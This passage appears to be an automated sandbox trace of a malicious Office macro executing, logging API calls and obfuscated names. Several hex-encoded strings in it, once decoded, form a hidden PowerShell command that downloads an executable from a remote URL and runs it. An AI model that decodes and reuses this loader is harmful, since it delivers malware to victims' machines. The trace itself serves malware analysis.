_Src=0x28860e630fa | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da98d74, cbMultiByte=100, lpWideCharStr=0x288617b2664, cchWideChar=202 | out: lpWideCharStr="5AAED2DCC8DEEEA6E8F2D8CA4090D2C8C8CADC405A86DEDADAC2DCC840444448DACADA407A40B6A6F2E6E8CADA5CA4EADCE8") returned 100 [0071.397] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2885d9c3660 [0071.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da98dec, cbMultiByte=100, lpWideCharStr=0x288617b28fa, cchWideChar=202 | out: lpWideCharStr="D2DACA5C92DCE8CAE4DEE0A6CAE4ECD2C6CAE65C9AC2E4E6D0C2D8BA747482D8D8DEC6908ED8DEC4C2D85072606E6C5276B6") returned 100 [0071.397] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6ec200 [0071.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da98e64, cbMultiByte=100, lpWideCharStr=0x288617b2b90, cchWideChar=202 | out: lpWideCharStr="A4CACCBA5C82E6E6CADAC4D8F25C8ECAE8A8F2E0CA504EA6F2E6E8CA4E564EDA5C9AC24E564EDCC2CE4E564ECADA4E564ECA") returned 100 [0071.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da98edc, cbMultiByte=100, lpWideCharStr=0x288617b2e26, cchWideChar=202 | out: lpWideCharStr="DCE85C82EA4E564EE8DEDAC24E564EE8D2DEDC5C824E564EDAE64E564ED24E564EAA4E564EE8D24E564ED84E564EE64E525C") returned 100 [0071.397] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6eb6c0 [0071.397] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da98f54, cbMultiByte=100, lpWideCharStr=0x288617b30bc, cchWideChar=202 | out: lpWideCharStr="8ECAE88CD2CAD8C8504EC24E564EDA4E564EE64E564ED2A64E564ECAE64E564EE6D24E564EDEDC4E584E9CDEDCA0EAC4D8D2") returned 100 [0071.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da98fcc, cbMultiByte=100, lpWideCharStr=0x288617b3352, cchWideChar=202 | out: lpWideCharStr="C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EACA5048DCEAD8D8584048DCEAD8D85276B6A4CACCBA5C82E6E6CADAC4D8F25C8E") returned 100 [0071.398] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6edf40 [0071.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da99044, cbMultiByte=100, lpWideCharStr=0x288617b35e8, cchWideChar=202 | out: lpWideCharStr="CAE8A8F2E0CA504EA6F24E564EE6E84E564ECADA5C4E564E9AC24E564EDCC2CECA4E564EDACADCE85C82EA4E564EE8DEDA4E") returned 100 [0071.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da990bc, cbMultiByte=100, lpWideCharStr=0x288617b387e, cchWideChar=202 | out: lpWideCharStr="564EC2E8D2DE4E564EDC5C82DA4E564EE6D24E564EAAE84E564ED24E564ED8E64E525C8ECAE88CD2CAD8C8504EC24E564EDA") returned 100 [0071.398] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6ec440 [0071.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da99134, cbMultiByte=100, lpWideCharStr=0x288617b3b14, cchWideChar=202 | out: lpWideCharStr="E64E564ED2864E564EDEDC4E564EE8CA4E564EF0E84E584E9CDEDCA0EAC4D8D2C658A6E8C2E8D2C64E525CA6CAE8ACC2D8EA") returned 100 [0071.398] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da991ac, cbMultiByte=100, lpWideCharStr=0x288617b3daa, cchWideChar=202 | out: lpWideCharStr="CA5048DCEAD8D85840B692DCE8A0E8E4BA48DACADA5276509CCAEE5A9EC4D4CAC6E840A6F2E6E8CADA5C9CCAE85CAECAC486") returned 100 [0071.398] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d6eadc0 [0071.398] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x288617c0000 [0071.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da99224, cbMultiByte=100, lpWideCharStr=0x288617c0064, cchWideChar=202 | out: lpWideCharStr="D8D2CADCE8525C88DEEEDCD8DEC2C88CD2D8CA504ED0E8E8E0E6745E5EE8D26ADC5CC2DCC8DCDED8D2D6CAC2DCC8E8DEDE5C") returned 100 [0071.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da9929c, cbMultiByte=100, lpWideCharStr=0x288617c02fa, cchWideChar=202 | out: lpWideCharStr="E4EA5E686C64687062706E645CCAF0CA4E5848CADCEC7482A0A08882A882564EB8DCCAEEC4EAD2D8C85CCAF0CA4E527650CE") returned 100 [0071.399] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x288576b69f0 [0071.399] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d1601e0, cb=0x100) returned 0x2885d6e3f70 [0071.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da99314, cbMultiByte=100, lpWideCharStr=0x288617c0590, cchWideChar=202 | out: lpWideCharStr="CAE85AD2E8CADA4048CADCEC7482A0A08882A882B8DCCAEEC4EAD2D8C85CCAF0CA525C82E8E8E4D2C4EAE8CAE640567A404E") returned 100 [0071.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da9938c, cbMultiByte=100, lpWideCharStr=0x288617c0826, cchWideChar=202 | out: lpWideCharStr="90D2C8C8CADC4E76A6E8C2E4E85AA0E4DEC6CAE6E6405048CADCEC7482A0A08882A882564EB8DCCAEEC4EAD2D8C85CCAF0CA") returned 100 [0071.399] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2885d8ba990 [0071.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da99404, cbMultiByte=8, lpWideCharStr=0x288617c0abc, cchWideChar=18 | out: lpWideCharStr="4E524444") returned 8 [0071.399] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e6347a | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.399] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e634b2 | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.399] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e634ea | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.401] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e63522 | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.401] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e6355a | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.401] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e63592 | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.401] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e635ca | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.401] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e63602 | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.401] _mbscpy_s (in: _Dst=0xbcb38f4dc0, _DstSizeInBytes=0x16, _Src=0x28860e6363a | out: _Dst=0xbcb38f4dc0) returned 0x0 [0071.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da99554, cbMultiByte=70, lpWideCharStr=0x288617c2eba, cchWideChar=142 | out: lpWideCharStr="86E4CAC2E8CA9EC4D4CAC6E85044AEE6C6E4D2E0E85CE6D0CAD8D844525CE4EADC5044") returned 70 [0071.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da995a4, cbMultiByte=12, lpWideCharStr=0x288617c3114, cchWideChar=26 | out: lpWideCharStr="4AA88A9AA04A") returned 12 [0071.401] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d967040, cb=0x400) returned 0x2885d659980 [0071.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da995bc, cbMultiByte=52, lpWideCharStr=0x288617c32fa, cchWideChar=106 | out: lpWideCharStr="B8A8F4A88AD2E4D4D8D486A09C86E6E488C4D8ECEE865CECC4E6") returned 52 [0071.401] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d9ab8b0, cb=0x60) returned 0x2885d9982c0 [0071.401] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x288617d0000 [0071.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da9965c, cbMultiByte=28, lpWideCharStr=0x288617d214c, cchWideChar=58 | out: lpWideCharStr="E0DEEECAE4E6D0CAD8D85CCAF0CA") returned 28 [0071.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da99684, cbMultiByte=26, lpWideCharStr=0x288617d2352, cchWideChar=54 | out: lpWideCharStr="AEA6C6E4D2E0E85CA6D0CAD8D8") returned 26 [0071.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2885da996ac, cbMultiByte=5, lpWideCharStr=0x288617d2554, cchWideChar=12 | out: lpWideCharStr="%BAT%") returned 5 [0071.403] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x70) returned 0x2885da2c310 [0071.403] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2885d746e40 [0071.403] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3d0) returned 0x2885d96ab00 [0071.403] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2885da88980 [0071.403] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2885d2d5c20 [0071.403] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2884e28ac50 [0071.403] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e4720 [0071.403] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e45f0 [0071.403] IUnknown:AddRef (This=0x2885d4c6250) returned 0x5 [0071.403] IUnknown:QueryInterface (in: This=0x2885d4c6250, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4a10 | out: ppvObject=0xbcb38f4a10*=0x0) returned 0x80004002 [0071.403] ITypeLib:GetTypeComp (in: This=0x2885d4c6250, ppTComp=0xbcb38f4a08 | out: ppTComp=0xbcb38f4a08*=0x2885d4c6260) returned 0x0 [0071.403] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x2885d9abdf0 [0071.403] IUnknown:AddRef (This=0x2885d4c6260) returned 0x7 [0071.403] IUnknown:Release (This=0x2885d4c6260) returned 0x6 [0071.403] IUnknown:Release (This=0x2885d4c6250) returned 0x5 [0071.403] IUnknown:AddRef (This=0x28857594370) returned 0xc [0071.403] IUnknown:QueryInterface (in: This=0x28857594370, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4a10 | out: ppvObject=0xbcb38f4a10*=0x0) returned 0x80004002 [0071.403] ITypeLib:GetTypeComp (in: This=0x28857594370, ppTComp=0xbcb38f4a08 | out: ppTComp=0xbcb38f4a08*=0x28857594380) returned 0x0 [0071.403] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x2885d9aafb0 [0071.403] IUnknown:AddRef (This=0x28857594380) returned 0xe [0071.403] IUnknown:Release (This=0x28857594380) returned 0xd [0071.403] IUnknown:Release (This=0x28857594370) returned 0xc [0071.403] IUnknown:AddRef (This=0x2884e335eb0) returned 0x7 [0071.403] IUnknown:QueryInterface (in: This=0x2884e335eb0, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4a10 | out: ppvObject=0xbcb38f4a10*=0x0) returned 0x80004002 [0071.403] ITypeLib:GetTypeComp (in: This=0x2884e335eb0, ppTComp=0xbcb38f4a08 | out: ppTComp=0xbcb38f4a08*=0x2884e335ec0) returned 0x0 [0071.403] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x2885d9ab030 [0071.403] IUnknown:AddRef (This=0x2884e335ec0) returned 0x9 [0071.403] IUnknown:Release (This=0x2884e335ec0) returned 0x8 [0071.403] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.404] wcscpy_s (in: _Destination=0x288574fe078, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0071.404] wcsncpy_s (in: _Destination=0xbcb38f45f0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0071.404] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0071.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xbcb38f4520, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0071.404] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0071.404] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2885d5f5f70 [0071.404] IUnknown:AddRef (This=0x2885d608e20) returned 0x4 [0071.404] IUnknown:QueryInterface (in: This=0x2885d608e20, riid=0x7ff9bdefb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xbcb38f4a10 | out: ppvObject=0xbcb38f4a10*=0x0) returned 0x80004002 [0071.404] ITypeLib:GetTypeComp (in: This=0x2885d608e20, ppTComp=0xbcb38f4a08 | out: ppTComp=0xbcb38f4a08*=0x2885d608e30) returned 0x0 [0071.404] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x2885d9ab2f0 [0071.404] IUnknown:AddRef (This=0x2885d608e30) returned 0x6 [0071.404] IUnknown:Release (This=0x2885d608e30) returned 0x5 [0071.404] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.405] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="lPMUqMgmOHHVzVCDOQbDs") returned 0x40aa14 [0071.405] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x16, _Src="lPMUqMgmOHHVzVCDOQbDs" | out: _Dst="lPMUqMgmOHHVzVCDOQbDs") returned 0x0 [0071.405] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=22, lpWideCharStr=0xbcb38f4750, cchWideChar=22 | out: lpWideCharStr="lPMUqMgmOHHVzVCDOQbDs") returned 22 [0071.405] IUnknown:AddRef (This=0x2885d4c6250) returned 0x6 [0071.405] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="lPMUqMgmOHHVzVCDOQbDs", lHashVal=0x40aa14, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.406] IUnknown:Release (This=0x2885d4c6250) returned 0x5 [0071.406] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.406] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="lPMUqMgmOHHVzVCDOQbDs", lHashVal=0x40aa14, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.406] IUnknown:Release (This=0x28857594370) returned 0xc [0071.406] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.406] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="lPMUqMgmOHHVzVCDOQbDs", lHashVal=0x40aa14, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.406] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.406] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.406] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="lPMUqMgmOHHVzVCDOQbDs", lHashVal=0x40aa14, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.407] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e637c2, cbMultiByte=22, lpWideCharStr=0xbcb38f49a0, cchWideChar=23 | out: lpWideCharStr="lPMUqMgmOHHVzVCDOQbDs") returned 22 [0071.407] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x640) returned 0x2885da38a70 [0071.407] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2885da88bc0 [0071.407] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e4600 [0071.407] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2885d5e4610 [0071.407] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2885da88770 [0071.407] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2884e288df0 [0071.407] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="lPMUqMgmOHHVzVCDOQbDs", lHashVal=0x30aa14, wFlags=0x5, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.407] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d160030, cb=0x100) returned 0x2885d6e2810 [0071.407] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1d) returned 0x2885da88c50 [0071.407] _mbscpy_s (in: _Dst=0x2885da88c50, _DstSizeInBytes=0x16, _Src=0x28860e637c2 | out: _Dst=0x2885da88c50) returned 0x0 [0071.407] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_lPMUqMgmOHHVzVCDOQbDs") returned 0x30297e [0071.408] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0x1d, _Src="_B_var_lPMUqMgmOHHVzVCDOQbDs" | out: _Dst="_B_var_lPMUqMgmOHHVzVCDOQbDs") returned 0x0 [0071.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=29, lpWideCharStr=0xbcb38f4900, cchWideChar=29 | out: lpWideCharStr="_B_var_lPMUqMgmOHHVzVCDOQbDs") returned 29 [0071.408] IUnknown:AddRef (This=0x2885d4c6250) returned 0x6 [0071.408] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_lPMUqMgmOHHVzVCDOQbDs", lHashVal=0x30297e, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.408] IUnknown:Release (This=0x2885d4c6250) returned 0x5 [0071.408] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.408] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_B_var_lPMUqMgmOHHVzVCDOQbDs", lHashVal=0x30297e, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.408] IUnknown:Release (This=0x28857594370) returned 0xc [0071.408] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.408] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_B_var_lPMUqMgmOHHVzVCDOQbDs", lHashVal=0x30297e, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.408] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.408] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.408] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="_B_var_lPMUqMgmOHHVzVCDOQbDs", lHashVal=0x30297e, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.408] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.408] IUnknown:AddRef (This=0x2885d4c6250) returned 0x6 [0071.408] IUnknown:Release (This=0x2885d4c6250) returned 0x5 [0071.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e70056, cbMultiByte=29, lpWideCharStr=0xbcb38f4960, cchWideChar=30 | out: lpWideCharStr="_B_var_lPMUqMgmOHHVzVCDOQbDs") returned 29 [0071.408] ITypeComp:RemoteBind (in: This=0x2885d4c6260, szName="_B_var_lPMUqMgmOHHVzVCDOQbDs", lHashVal=0x30297e, wFlags=0x5, ppTInfo=0xbcb38f4918, pDescKind=0xbcb38f492c, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x6c005f00720061, ppTypeComp=0x71005500000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4918*=0x0, pDescKind=0xbcb38f492c*=0, ppFuncDesc=0xbcb38f4930, ppVarDesc=0x6c005f00720061, ppTypeComp=0x71005500000000, pDummy=0x0) returned 0x0 [0071.408] _mbscpy_s (in: _Dst=0xbcb38f4b20, _DstSizeInBytes=0x16, _Src=0x28860e637c2 | out: _Dst=0xbcb38f4b20) returned 0x0 [0071.408] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885da88c50) [0071.408] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d6e2810, cb=0x200) returned 0x2885d9663e0 [0071.408] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="iMsnnNQUWxLeJonbOcqoB") returned 0x40a477 [0071.408] strcpy_s (in: _Dst=0xbcb38f4900, _DstSize=0x16, _Src="iMsnnNQUWxLeJonbOcqoB" | out: _Dst="iMsnnNQUWxLeJonbOcqoB") returned 0x0 [0071.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4900, cbMultiByte=22, lpWideCharStr=0xbcb38f4750, cchWideChar=22 | out: lpWideCharStr="iMsnnNQUWxLeJonbOcqoB") returned 22 [0071.408] IUnknown:AddRef (This=0x2885d4c6250) returned 0x6 [0071.409] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="iMsnnNQUWxLeJonbOcqoB", lHashVal=0x40a477, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.409] IUnknown:Release (This=0x2885d4c6250) returned 0x5 [0071.409] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.409] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="iMsnnNQUWxLeJonbOcqoB", lHashVal=0x40a477, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.409] IUnknown:Release (This=0x28857594370) returned 0xc [0071.409] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.409] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="iMsnnNQUWxLeJonbOcqoB", lHashVal=0x40a477, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.409] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.409] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.409] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="iMsnnNQUWxLeJonbOcqoB", lHashVal=0x40a477, pfName=0xbcb38f4820, pBstrLibName=0xbcb38f4750 | out: pfName=0xbcb38f4820*=0, pBstrLibName=0xbcb38f4750) returned 0x0 [0071.409] IUnknown:Release (This=0x2885d608e20) returned 0x4 [0071.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28860e63832, cbMultiByte=22, lpWideCharStr=0xbcb38f49a0, cchWideChar=23 | out: lpWideCharStr="iMsnnNQUWxLeJonbOcqoB") returned 22 [0071.409] ITypeComp:RemoteBind (in: This=0x2885d608e30, szName="iMsnnNQUWxLeJonbOcqoB", lHashVal=0x3043e8, wFlags=0x3, ppTInfo=0xbcb38f4958, pDescKind=0xbcb38f496c, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0 | out: ppTInfo=0xbcb38f4958*=0x0, pDescKind=0xbcb38f496c*=0, ppFuncDesc=0xbcb38f4970, ppVarDesc=0x7ff9bdd240b8, ppTypeComp=0x28800000000, pDummy=0x0) returned 0x0 [0071.409] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1d) returned 0x2885da884d0 [0071.409] _mbscpy_s (in: _Dst=0x2885da884d0, _DstSizeInBytes=0x16, _Src=0x28860e63832 | out: _Dst=0x2885da884d0) returned 0x0 [0071.409] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_iMsnnNQUWxLeJonbOcqoB") returned 0x30d312 [0071.409] strcpy_s (in: _Dst=0xbcb38f4ab0, _DstSize=0x1d, _Src="_B_var_iMsnnNQUWxLeJonbOcqoB" | out: _Dst="_B_var_iMsnnNQUWxLeJonbOcqoB") returned 0x0 [0071.409] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbcb38f4ab0, cbMultiByte=29, lpWideCharStr=0xbcb38f4900, cchWideChar=29 | out: lpWideCharStr="_B_var_iMsnnNQUWxLeJonbOcqoB") returned 29 [0071.409] IUnknown:AddRef (This=0x2885d4c6250) returned 0x6 [0071.409] ITypeLib:RemoteIsName (in: This=0x2885d4c6250, szNameBuf="_B_var_iMsnnNQUWxLeJonbOcqoB", lHashVal=0x30d312, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.409] IUnknown:Release (This=0x2885d4c6250) returned 0x5 [0071.409] IUnknown:AddRef (This=0x28857594370) returned 0xd [0071.409] ITypeLib:RemoteIsName (in: This=0x28857594370, szNameBuf="_B_var_iMsnnNQUWxLeJonbOcqoB", lHashVal=0x30d312, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.409] IUnknown:Release (This=0x28857594370) returned 0xc [0071.409] IUnknown:AddRef (This=0x2884e335eb0) returned 0x8 [0071.409] ITypeLib:RemoteIsName (in: This=0x2884e335eb0, szNameBuf="_B_var_iMsnnNQUWxLeJonbOcqoB", lHashVal=0x30d312, pfName=0xbcb38f49d0, pBstrLibName=0xbcb38f4900 | out: pfName=0xbcb38f49d0*=0, pBstrLibName=0xbcb38f4900) returned 0x0 [0071.409] IUnknown:Release (This=0x2884e335eb0) returned 0x7 [0071.409] IUnknown:AddRef (This=0x2885d608e20) returned 0x5 [0071.409] ITypeLib:RemoteIsName (in: This=0x2885d608e20, szNameBuf="_B_var_iMsnnNQUWxLeJonbOcqoB", lHashVal=0x30d312, pfName=0xbcb38f49d0, 